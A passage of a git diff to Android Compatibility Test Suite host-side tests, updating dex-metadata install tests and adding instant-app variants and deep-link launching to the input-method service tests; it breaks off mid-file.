+++ b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitApp.apk
Binary files differ
diff --git a/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitApp.dm b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitApp.dm
index 1c02dff..754b4fd 100644
--- a/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitApp.dm
+++ b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitApp.dm
Binary files differ
diff --git a/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureA.apk b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureA.apk
new file mode 100644
index 0000000..875feb5
--- /dev/null
+++ b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureA.apk
Binary files differ
diff --git a/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureA.dm b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureA.dm
index 24b9ed9..18395f4 100644
--- a/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureA.dm
+++ b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureA.dm
Binary files differ
diff --git a/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/BaseInstallMultiple.java b/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/BaseInstallMultiple.java
index ad41c74..eb9498e 100644
--- a/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/BaseInstallMultiple.java
+++ b/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/BaseInstallMultiple.java
@@ -52,13 +52,12 @@
return (T) this;
}
- T addApk(String apk) throws FileNotFoundException {
- CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
- mFilesToInstall.add(buildHelper.getTestFile(apk));
+ T addApk(File apk) {
+ mFilesToInstall.add(apk);
return (T) this;
}
- T addDm(File dma) throws FileNotFoundException {
+ T addDm(File dma) {
mFilesToInstall.add(dma);
return (T) this;
}
diff --git a/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/InstallDexMetadataHostTest.java b/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/InstallDexMetadataHostTest.java
index d0299af..766034a 100644
--- a/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/InstallDexMetadataHostTest.java
+++ b/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/InstallDexMetadataHostTest.java
@@ -61,6 +61,8 @@
private static final String DM_FEATURE_A = "CtsDexMetadataSplitAppFeatureA.dm";
private File mTmpDir;
+ private File mApkBaseFile = null;
+ private File mApkFeatureAFile = null;
private File mDmBaseFile = null;
private File mDmFeatureAFile = null;
private boolean mShouldRunTests;
@@ -79,6 +81,8 @@
if (mShouldRunTests) {
mTmpDir = FileUtil.createTempDir("InstallDexMetadataHostTest");
+ mApkBaseFile = extractResource(APK_BASE, mTmpDir);
+ mApkFeatureAFile = extractResource(APK_FEATURE_A, mTmpDir);
mDmBaseFile = extractResource(DM_BASE, mTmpDir);
mDmFeatureAFile = extractResource(DM_FEATURE_A, mTmpDir);
}
@@ -98,7 +102,7 @@
*/
@Test
public void testInstallDmForBase() throws Exception {
- new InstallMultiple().addApk(APK_BASE).addDm(mDmBaseFile).run();
+ new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile).run();
assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
assertTrue(runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testDmForBase"));
@@ -109,8 +113,8 @@
*/
@Test
public void testInstallDmForBaseAndSplit() throws Exception {
- new InstallMultiple().addApk(APK_BASE).addDm(mDmBaseFile)
- .addApk(APK_FEATURE_A).addDm(mDmFeatureAFile).run();
+ new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile)
+ .addApk(mApkFeatureAFile).addDm(mDmFeatureAFile).run();
assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
assertTrue(runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testDmForBaseAndSplit"));
@@ -121,8 +125,8 @@
*/
@Test
public void testInstallDmForBaseButNoSplit() throws Exception {
- new InstallMultiple().addApk(APK_BASE).addDm(mDmBaseFile)
- .addApk(APK_FEATURE_A).run();
+ new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile)
+ .addApk(mApkFeatureAFile).run();
assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
assertTrue(runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testDmForBaseButNoSplit"));
@@ -133,8 +137,8 @@
*/
@Test
public void testInstallDmForSplitButNoBase() throws Exception {
- new InstallMultiple().addApk(APK_BASE)
- .addApk(APK_FEATURE_A).addDm(mDmFeatureAFile).run();
+ new InstallMultiple().addApk(mApkBaseFile)
+ .addApk(mApkFeatureAFile).addDm(mDmFeatureAFile).run();
assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
assertTrue(runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testDmForSplitButNoBase"));
@@ -145,22 +149,22 @@
*/
@Test
public void testUpdateDm() throws Exception {
- new InstallMultiple().addApk(APK_BASE).addDm(mDmBaseFile)
- .addApk(APK_FEATURE_A).addDm(mDmFeatureAFile).run();
+ new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile)
+ .addApk(mApkFeatureAFile).addDm(mDmFeatureAFile).run();
assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
assertTrue(runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testDmForBaseAndSplit"));
// Remove .dm files during update.
- new InstallMultiple().addArg("-r").addApk(APK_BASE)
- .addApk(APK_FEATURE_A).run();
+ new InstallMultiple().addArg("-r").addApk(mApkBaseFile)
+ .addApk(mApkFeatureAFile).run();
assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
assertTrue(runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testNoDm"));
// Add only a split .dm file during update.
- new InstallMultiple().addArg("-r").addApk(APK_BASE)
- .addApk(APK_FEATURE_A).addDm(mDmFeatureAFile).run();
+ new InstallMultiple().addArg("-r").addApk(mApkBaseFile)
+ .addApk(mApkFeatureAFile).addDm(mDmFeatureAFile).run();
assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
assertTrue(runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testDmForSplitButNoBase"));
@@ -174,8 +178,8 @@
File nonMatchingDm = new File(mDmFeatureAFile.getAbsoluteFile().getAbsolutePath()
.replace(".dm", ".not.there.dm"));
FileUtil.copyFile(mDmFeatureAFile, nonMatchingDm);
- new InstallMultiple().addApk(APK_BASE).addDm(mDmBaseFile)
- .addApk(APK_FEATURE_A).addDm(nonMatchingDm).run();
+ new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile)
+ .addApk(mApkFeatureAFile).addDm(nonMatchingDm).run();
assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
assertTrue(runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testDmForBaseButNoSplit"));
@@ -186,7 +190,7 @@
assumeProfilesAreEnabled();
// Install the app.
- new InstallMultiple().addApk(APK_BASE).addDm(mDmBaseFile).run();
+ new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile).run();
// Take a snapshot of the installed profile.
String snapshotCmd = "cmd package snapshot-profile " + INSTALL_PACKAGE;
@@ -197,9 +201,6 @@
byte[] snapshotProfileBytes = extractProfileSnapshotFromDevice();
byte[] expectedProfileBytes = extractProfileFromDexMetadata(mDmBaseFile);
- // Clean up the snapshot profile.
- getDevice().executeShellCommand("rm " + INSTALL_PACKAGE + ".prof");
-
assertArrayEquals(expectedProfileBytes, snapshotProfileBytes);
}
@@ -215,10 +216,14 @@
private byte[] extractProfileSnapshotFromDevice() throws Exception {
File snapshotFile = File.createTempFile(INSTALL_PACKAGE, "primary.prof");
snapshotFile.deleteOnExit();
- getDevice().pullFile("/data/misc/profman/" + INSTALL_PACKAGE + ".prof", snapshotFile);
+ getDevice().pullFile(getSnapshotLocation(INSTALL_PACKAGE), snapshotFile);
return Files.readAllBytes(snapshotFile.toPath());
}
+ static private String getSnapshotLocation(String pkg) {
+ return "/data/misc/profman/" + pkg + ".prof";
+ }
+
/** Extracts the profile bytes from the dex metadata profile. */
static private byte[] extractProfileFromDexMetadata(File dmFile) throws Exception {
try (ZipInputStream in = new ZipInputStream(new FileInputStream(dmFile))) {
diff --git a/hostsidetests/incident/src/com/android/server/cts/MemInfoIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/MemInfoIncidentTest.java
index 20a6cab..2747972 100644
--- a/hostsidetests/incident/src/com/android/server/cts/MemInfoIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/MemInfoIncidentTest.java
@@ -60,7 +60,10 @@
assertTrue(0 <= dump.getUsedPssKb());
assertTrue(0 <= dump.getUsedKernelKb());
- assertTrue(0 <= dump.getLostRamKb());
+ // Ideally lost RAM would not be negative, but there's an issue where it's sometimes
+ // calculated to be negative.
+ // TODO: re-enable check once the underlying bug has been fixed.
+ // assertTrue(0 <= dump.getLostRamKb());
assertTrue(0 <= dump.getTotalZramKb());
assertTrue(0 <= dump.getZramPhysicalUsedInSwapKb());
diff --git a/hostsidetests/inputmethodservice/common/Android.mk b/hostsidetests/inputmethodservice/common/Android.mk
index 8d03e93..94b59c9 100644
--- a/hostsidetests/inputmethodservice/common/Android.mk
+++ b/hostsidetests/inputmethodservice/common/Android.mk
@@ -26,7 +26,7 @@
LOCAL_MODULE_TAGS := tests
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_MODULE := CtsInputMethodServiceCommon
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/EditTextAppConstants.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/EditTextAppConstants.java
index f575c55..9f6d4d1 100644
--- a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/EditTextAppConstants.java
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/EditTextAppConstants.java
@@ -22,4 +22,7 @@
public static final String PACKAGE = "android.inputmethodservice.cts.edittextapp";
public static final String CLASS = PACKAGE + ".MainActivity";
public static final String APK = "EditTextApp.apk";
+ public static final String EDIT_TEXT_RES_NAME = PACKAGE + ":id/edit_text_entry";
+ public static final String URI =
+ "https://example.com/android/inputmethodservice/cts/edittextapp";
}
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk
index 6f3a29d..1727ad7 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk
@@ -36,7 +36,7 @@
CtsInputMethodServiceLib
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_PACKAGE_NAME := CtsInputMethodServiceDeviceTests
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/AndroidManifest.xml b/hostsidetests/inputmethodservice/deviceside/devicetest/AndroidManifest.xml
index 5566613..e585bcb 100755
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/AndroidManifest.xml
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/AndroidManifest.xml
@@ -30,16 +30,6 @@
android:allowBackup="false"
>
<uses-library android:name="android.test.runner" />
-
- <activity
- android:name=".InputMethodServiceTestActivity"
- android:label="InputMethodSercuceTestActivity">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.LAUNCHER" />
- </intent-filter>
- </activity>
-
</application>
<instrumentation
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/res/layout/activity_inputmethod_test.xml b/hostsidetests/inputmethodservice/deviceside/devicetest/res/layout/activity_inputmethod_test.xml
deleted file mode 100644
index 94ba557..0000000
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/res/layout/activity_inputmethod_test.xml
+++ /dev/null
@@ -1,29 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- Copyright (C) 2017 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
- android:layout_width="fill_parent"
- android:layout_height="wrap_content"
- android:padding="10px">
-
- <EditText
- android:id="@+id/text_entry"
- android:layout_width="fill_parent"
- android:layout_height="wrap_content"
- android:background="@android:drawable/editbox_background"/>
-
-</RelativeLayout>
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
index 1250d35..47ae8eb 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
@@ -71,7 +71,8 @@
final TestHelper helper = new TestHelper(getClass(), DeviceTestConstants.TEST_CREATE_IME1);
final long startActivityTime = SystemClock.uptimeMillis();
- helper.launchActivity(DeviceTestConstants.PACKAGE, DeviceTestConstants.TEST_ACTIVITY_CLASS);
+ helper.launchActivity(EditTextAppConstants.PACKAGE, EditTextAppConstants.CLASS,
+ EditTextAppConstants.URI);
pollingCheck(() -> helper.queryAllEvents()
.collect(startingFrom(helper.isStartOfTest()))
@@ -90,7 +91,8 @@
getClass(), DeviceTestConstants.TEST_SWITCH_IME1_TO_IME2);
final long startActivityTime = SystemClock.uptimeMillis();
- helper.launchActivity(DeviceTestConstants.PACKAGE, DeviceTestConstants.TEST_ACTIVITY_CLASS);
+ helper.launchActivity(EditTextAppConstants.PACKAGE, EditTextAppConstants.CLASS,
+ EditTextAppConstants.URI);
pollingCheck(() -> helper.queryAllEvents()
.collect(startingFrom(helper.isStartOfTest()))
@@ -101,7 +103,7 @@
.anyMatch(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT))),
TIMEOUT, "CtsInputMethod1.onStartInput is called");
- helper.findUiObject(R.id.text_entry).click();
+ helper.findUiObject(EditTextAppConstants.EDIT_TEXT_RES_NAME).click();
// Switch IME from CtsInputMethod1 to CtsInputMethod2.
final long switchImeTime = SystemClock.uptimeMillis();
@@ -132,12 +134,13 @@
final TestHelper helper = new TestHelper(
getClass(), DeviceTestConstants.TEST_SWITCH_INPUTMETHOD);
final long startActivityTime = SystemClock.uptimeMillis();
- helper.launchActivity(DeviceTestConstants.PACKAGE, DeviceTestConstants.TEST_ACTIVITY_CLASS);
+ helper.launchActivity(EditTextAppConstants.PACKAGE, EditTextAppConstants.CLASS,
+ EditTextAppConstants.URI);
pollingCheck(() -> helper.queryAllEvents()
.filter(isNewerThan(startActivityTime))
.anyMatch(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT))),
TIMEOUT, "CtsInputMethod1.onStartInput is called");
- helper.findUiObject(R.id.text_entry).click();
+ helper.findUiObject(EditTextAppConstants.EDIT_TEXT_RES_NAME).click();
final long setImeTime = SystemClock.uptimeMillis();
// call setInputMethodAndSubtype(IME2, null)
@@ -159,12 +162,13 @@
final TestHelper helper = new TestHelper(
getClass(), DeviceTestConstants.TEST_SWITCH_NEXT_INPUT);
final long startActivityTime = SystemClock.uptimeMillis();
- helper.launchActivity(DeviceTestConstants.PACKAGE, DeviceTestConstants.TEST_ACTIVITY_CLASS);
+ helper.launchActivity(EditTextAppConstants.PACKAGE, EditTextAppConstants.CLASS,
+ EditTextAppConstants.URI);
pollingCheck(() -> helper.queryAllEvents()
.filter(isNewerThan(startActivityTime))
.anyMatch(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT))),
TIMEOUT, "CtsInputMethod1.onStartInput is called");
- helper.findUiObject(R.id.text_entry).click();
+ helper.findUiObject(EditTextAppConstants.EDIT_TEXT_RES_NAME).click();
pollingCheck(() -> helper.shell(ShellCommandUtils.getCurrentIme())
.equals(Ime1Constants.IME_ID),
@@ -182,8 +186,9 @@
final TestHelper helper = new TestHelper(
getClass(), DeviceTestConstants.TEST_SWITCH_PREVIOUS_INPUT);
final long startActivityTime = SystemClock.uptimeMillis();
- helper.launchActivity(DeviceTestConstants.PACKAGE, DeviceTestConstants.TEST_ACTIVITY_CLASS);
- helper.findUiObject(R.id.text_entry).click();
+ helper.launchActivity(EditTextAppConstants.PACKAGE, EditTextAppConstants.CLASS,
+ EditTextAppConstants.URI);
+ helper.findUiObject(EditTextAppConstants.EDIT_TEXT_RES_NAME).click();
final String initialIme = helper.shell(ShellCommandUtils.getCurrentIme());
helper.shell(ShellCommandUtils.setCurrentIme(Ime2Constants.IME_ID));
@@ -204,8 +209,9 @@
final TestHelper helper = new TestHelper(
getClass(), DeviceTestConstants.TEST_INPUT_UNBINDS_ON_IME_STOPPED);
final long startActivityTime = SystemClock.uptimeMillis();
- helper.launchActivity(DeviceTestConstants.PACKAGE, DeviceTestConstants.TEST_ACTIVITY_CLASS);
- helper.findUiObject(R.id.text_entry).click();
+ helper.launchActivity(EditTextAppConstants.PACKAGE, EditTextAppConstants.CLASS,
+ EditTextAppConstants.URI);
+ helper.findUiObject(EditTextAppConstants.EDIT_TEXT_RES_NAME).click();
pollingCheck(() -> helper.queryAllEvents()
.filter(isNewerThan(startActivityTime))
@@ -220,7 +226,7 @@
helper.shell(ShellCommandUtils.uninstallPackage(Ime1Constants.PACKAGE));
helper.shell(ShellCommandUtils.setCurrentIme(Ime2Constants.IME_ID));
- helper.findUiObject(R.id.text_entry).click();
+ helper.findUiObject(EditTextAppConstants.EDIT_TEXT_RES_NAME).click();
pollingCheck(() -> helper.queryAllEvents()
.filter(isNewerThan(imeForceStopTime))
.anyMatch(isFrom(Ime2Constants.CLASS).and(isType(ON_START_INPUT))),
@@ -236,7 +242,9 @@
final TestHelper helper = new TestHelper(
getClass(), DeviceTestConstants.TEST_INPUT_UNBINDS_ON_APP_STOPPED);
final long startActivityTime = SystemClock.uptimeMillis();
- helper.launchActivity(EditTextAppConstants.PACKAGE, EditTextAppConstants.CLASS);
+ helper.launchActivity(EditTextAppConstants.PACKAGE, EditTextAppConstants.CLASS,
+ EditTextAppConstants.URI);
+ helper.findUiObject(EditTextAppConstants.EDIT_TEXT_RES_NAME).click();
pollingCheck(() -> helper.queryAllEvents()
.filter(isNewerThan(startActivityTime))
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceTestActivity.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceTestActivity.java
deleted file mode 100644
index 613c266..0000000
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceTestActivity.java
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.inputmethodservice.cts.devicetest;
-
-import android.app.Activity;
-import android.os.Bundle;
-
-public class InputMethodServiceTestActivity extends Activity {
- @Override
- protected void onCreate(final Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.activity_inputmethod_test);
- }
-}
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/TestHelper.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/TestHelper.java
index 215ad0e..dda48a0 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/TestHelper.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/TestHelper.java
@@ -83,10 +83,14 @@
* Launching an Activity for test, and wait for completions of launch.
* @param packageName activity's app package name.
* @param className activity's class name.
+ * @param uri uri to be handled.
*/
- void launchActivity(final String packageName, final String className) {
+ void launchActivity(final String packageName, final String className, final String uri) {
final Intent intent = new Intent()
- .setAction(Intent.ACTION_MAIN)
+ .setAction(Intent.ACTION_VIEW)
+ .addCategory(Intent.CATEGORY_BROWSABLE)
+ .addCategory(Intent.CATEGORY_DEFAULT)
+ .setData(Uri.parse(uri))
.setClassName(packageName, className)
.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
@@ -96,11 +100,10 @@
/**
* Find an UI element from resource ID.
- * @param resId id of finding UI element.
+ * @param resourceName name of finding UI element.
* @return {@link UiObject2} of found UI element.
*/
- UiObject2 findUiObject(@IdRes int resId) {
- final String resourceName = mTargetContext.getResources().getResourceName(resId);
+ UiObject2 findUiObject(String resourceName) {
return mUiDevice.findObject(By.res(resourceName));
}
diff --git a/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.mk b/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.mk
index 3461dbb..30fdb08 100644
--- a/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.mk
+++ b/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.mk
@@ -31,7 +31,7 @@
CtsInputMethodServiceCommon
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_PACKAGE_NAME := EditTextApp
diff --git a/hostsidetests/inputmethodservice/deviceside/edittextapp/AndroidManifest.xml b/hostsidetests/inputmethodservice/deviceside/edittextapp/AndroidManifest.xml
index e88ec8e..7565023 100755
--- a/hostsidetests/inputmethodservice/deviceside/edittextapp/AndroidManifest.xml
+++ b/hostsidetests/inputmethodservice/deviceside/edittextapp/AndroidManifest.xml
@@ -16,7 +16,10 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.inputmethodservice.cts.edittextapp">
+ package="android.inputmethodservice.cts.edittextapp" android:targetSandboxVersion="2">
+
+ <uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28" />
+
<application
android:label="@string/app_name">
<activity
@@ -26,6 +29,14 @@
<intent-filter>
<action android:name="android.intent.action.MAIN" />
</intent-filter>
+ <intent-filter>
+ <action android:name="android.intent.action.VIEW" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <category android:name="android.intent.category.BROWSABLE" />
+ <data android:scheme="https" />
+ <data android:host="example.com" />
+ <data android:path="/android/inputmethodservice/cts/edittextapp" />
+ </intent-filter>
</activity>
</application>
diff --git a/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk b/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk
index f6da1c4..850b89f 100644
--- a/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk
+++ b/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk
@@ -32,7 +32,7 @@
CtsInputMethodServiceLib
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_PACKAGE_NAME := CtsInputMethod1
diff --git a/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk b/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk
index e11e28a..fcd146c 100644
--- a/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk
+++ b/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk
@@ -32,7 +32,7 @@
CtsInputMethodServiceLib
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_PACKAGE_NAME := CtsInputMethod2
diff --git a/hostsidetests/inputmethodservice/deviceside/provider/Android.mk b/hostsidetests/inputmethodservice/deviceside/provider/Android.mk
index 91f6ce7..b8f308d 100644
--- a/hostsidetests/inputmethodservice/deviceside/provider/Android.mk
+++ b/hostsidetests/inputmethodservice/deviceside/provider/Android.mk
@@ -31,7 +31,7 @@
CtsInputMethodServiceLib
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_PACKAGE_NAME := CtsInputMethodServiceEventProvider
diff --git a/hostsidetests/inputmethodservice/hostside/Android.mk b/hostsidetests/inputmethodservice/hostside/Android.mk
index 5ff22a2..2cfca0e 100644
--- a/hostsidetests/inputmethodservice/hostside/Android.mk
+++ b/hostsidetests/inputmethodservice/hostside/Android.mk
@@ -21,7 +21,7 @@
LOCAL_MODULE_TAGS := tests
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_MODULE := CtsInputMethodServiceHostTestCases
diff --git a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
index 25fe8b1..c1557e1 100644
--- a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
+++ b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
@@ -32,6 +32,8 @@
import android.inputmethodservice.cts.common.test.DeviceTestConstants;
import android.inputmethodservice.cts.common.test.ShellCommandUtils;
import android.inputmethodservice.cts.common.test.TestInfo;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AppModeInstant;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -63,11 +65,20 @@
shell(ShellCommandUtils.resetImes());
}
- @Test
- public void testSwitchIme() throws Exception {
+ private void installPossibleInstantPackage(String apkFileName, boolean instant)
+ throws Exception {
+ if (instant) {
+ installPackage(apkFileName, "-r", "--instant");
+ } else {
+ installPackage(apkFileName, "-r");
+ }
+ }
+
+ private void testSwitchIme(boolean instant) throws Exception {
final TestInfo testSwitchIme1ToIme2 = new TestInfo(DeviceTestConstants.PACKAGE,
DeviceTestConstants.TEST_CLASS, DeviceTestConstants.TEST_SWITCH_IME1_TO_IME2);
sendTestStartEvent(testSwitchIme1ToIme2);
+ installPossibleInstantPackage(EditTextAppConstants.APK, instant);
installPackage(Ime1Constants.APK, "-r");
installPackage(Ime2Constants.APK, "-r");
shell(ShellCommandUtils.enableIme(Ime1Constants.IME_ID));
@@ -77,11 +88,23 @@
assertTrue(runDeviceTestMethod(testSwitchIme1ToIme2));
}
+ @AppModeFull
@Test
- public void testUninstallCurrentIme() throws Exception {
+ public void testSwitchImeull() throws Exception {
+ testSwitchIme(false);
+ }
+
+ @AppModeInstant
+ @Test
+ public void testSwitchImeInstant() throws Exception {
+ testSwitchIme(true);
+ }
+
+ private void testUninstallCurrentIme(boolean instant) throws Exception {
final TestInfo testCreateIme1 = new TestInfo(DeviceTestConstants.PACKAGE,
DeviceTestConstants.TEST_CLASS, DeviceTestConstants.TEST_CREATE_IME1);
sendTestStartEvent(testCreateIme1);
+ installPossibleInstantPackage(EditTextAppConstants.APK, instant);
installPackage(Ime1Constants.APK, "-r");
shell(ShellCommandUtils.enableIme(Ime1Constants.IME_ID));
shell(ShellCommandUtils.setCurrentIme(Ime1Constants.IME_ID));
@@ -91,11 +114,23 @@
assertImeNotSelectedInSecureSettings(Ime1Constants.IME_ID, TIMEOUT);
}
+ @AppModeFull
@Test
- public void testDisableCurrentIme() throws Exception {
+ public void testUninstallCurrentImeFull() throws Exception {
+ testUninstallCurrentIme(false);
+ }
+
+ @AppModeInstant
+ @Test
+ public void testUninstallCurrentImeInstant() throws Exception {
+ testUninstallCurrentIme(true);
+ }
+
+ private void testDisableCurrentIme(boolean instant) throws Exception {
final TestInfo testCreateIme1 = new TestInfo(DeviceTestConstants.PACKAGE,
DeviceTestConstants.TEST_CLASS, DeviceTestConstants.TEST_CREATE_IME1);
sendTestStartEvent(testCreateIme1);
+ installPossibleInstantPackage(EditTextAppConstants.APK, instant);
installPackage(Ime1Constants.APK, "-r");
shell(ShellCommandUtils.enableIme(Ime1Constants.IME_ID));
shell(ShellCommandUtils.setCurrentIme(Ime1Constants.IME_ID));
@@ -105,12 +140,24 @@
assertImeNotSelectedInSecureSettings(Ime1Constants.IME_ID, TIMEOUT);
}
+ @AppModeFull
@Test
- public void testSwitchInputMethod() throws Exception {
+ public void testDisableCurrentImeFull() throws Exception {
+ testDisableCurrentIme(false);
+ }
+
+ @AppModeInstant
+ @Test
